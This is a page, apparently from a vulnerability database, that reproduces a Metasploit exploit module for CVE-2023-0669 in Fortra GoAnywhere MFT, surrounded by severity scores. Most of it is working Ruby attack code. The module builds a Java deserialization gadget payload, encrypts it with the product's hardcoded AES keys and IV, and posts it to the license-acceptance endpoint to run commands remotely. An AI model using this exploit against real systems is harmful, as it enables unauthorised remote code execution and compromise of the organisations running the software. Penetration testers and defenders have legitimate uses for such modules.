Lucene search

K
metasploitRon Bowes, Frycos (Florian Hauser)MSF:EXPLOIT-MULTI-HTTP-FORTRA_GOANYWHERE_RCE_CVE_2023_0669-
HistoryFeb 08, 2023 - 3:24 p.m.

Fortra GoAnywhere MFT Unsafe Deserialization RCE

2023-02-0815:24:27
Ron Bowes, Frycos (Florian Hauser)
www.rapid7.com
331

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

High

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

MULTIPLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:M/C:P/I:P/A:P

0.97 High

EPSS

Percentile

99.7%

This module exploits CVE-2023-0669, which is an object deserialization vulnerability in Fortra GoAnywhere MFT.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortra GoAnywhere MFT Unsafe Deserialization RCE',
        'Description' => %q{
          This module exploits CVE-2023-0669, which is an object deserialization
          vulnerability in Fortra GoAnywhere MFT.
        },
        'Author' => [
          'Ron Bowes', # Analysis and module
          'Frycos (Florian Hauser)' # Discovery and analysis
        ],
        'References' => [
          ['CVE', '2023-0669'],
          ['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],
          ['URL', 'https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html']
        ],
        'DisclosureDate' => '2023-02-01',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'win'],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'Version 2 Encryption',
            {
              'DefaultOptions' => {
                'Version' => '$2',
                'EncryptionKey' => '0e69a3839b6ecf45649b861f4a27171b66870c9567a4144ebaf3d52fdc4064ca',
                'EncryptionIv' => '4145532f4342432f504b435335506164'
              }
            },
          ],
          [
            'Version 1 Encryption',
            {
              'DefaultOptions' => {
                'Version' => '',
                'EncryptionKey' => '678b5830bf8b8a2e0474b97d6cd18e845fbc4b11fca0d6af2db1eb114c29fc4b',
                'EncryptionIv' => '4145532f4342432f504b435335506164'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8001,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Unsafe deserialization endpoint', '/goanywhere/lic/accept']),
    ])

    register_advanced_options([
      OptString.new('Version', [false, 'A version value to append to the encrypted data']),
      OptString.new('EncryptionKey', [true, 'The encryption key to use (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),
      OptString.new('EncryptionIv', [true, 'The initialization vector (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),
      OptString.new('EncryptionAlgorithm', [true, 'The encryption algorithm', 'AES-256-CBC'])
    ])
  end

  def build_cipher
    unless OpenSSL::Cipher.ciphers.any? { |cipher_name| cipher_name.casecmp?(datastore['EncryptionAlgorithm']) }
      raise Msf::OptionValidateError.new({ 'EncryptionAlgorithm' => 'The selected encryption algorithm is not supported by OpenSSL.' })
    end

    cipher = OpenSSL::Cipher.new(datastore['EncryptionAlgorithm'])
    cipher.encrypt

    option_errors = {}
    iv = datastore['EncryptionIv'].scan(/../).map { |x| x.hex.chr }.join
    unless cipher.iv_len == iv.length
      option_errors['EncryptionIv'] = "The encryption IV is not the correct length (is: #{iv.length}, should be: #{cipher.iv_len})."
    end

    key = datastore['EncryptionKey'].scan(/../).map { |x| x.hex.chr }.join
    unless cipher.key_len == key.length
      option_errors['EncryptionKey'] = "The encryption key is not the correct length (is: #{key.length}, should be: #{cipher.key_len})."
    end
    raise Msf::OptionValidateError, option_errors unless option_errors.empty?

    cipher.iv = iv
    cipher.key = key
    cipher
  end

  def exploit
    vprint_status('Generating a serialized Java object with the payload')
    obj = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)

    vprint_status('Encrypting the payload')
    cipher = build_cipher
    obj = cipher.update(obj) + cipher.final

    vprint_status('Sending request to the server')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => datastore['TARGETURI'],
      'vars_post' => {
        'bundle' => "#{Base64.urlsafe_encode64(obj)}#{datastore['Version'] || ''}"
      }
    )

    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    if res.code != 500
      fail_with(Failure::UnexpectedReply, "Expected the server to return HTTP/500, instead received HTTP/#{res.code}")
    end
  end
end

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

High

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

MULTIPLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:M/C:P/I:P/A:P

0.97 High

EPSS

Percentile

99.7%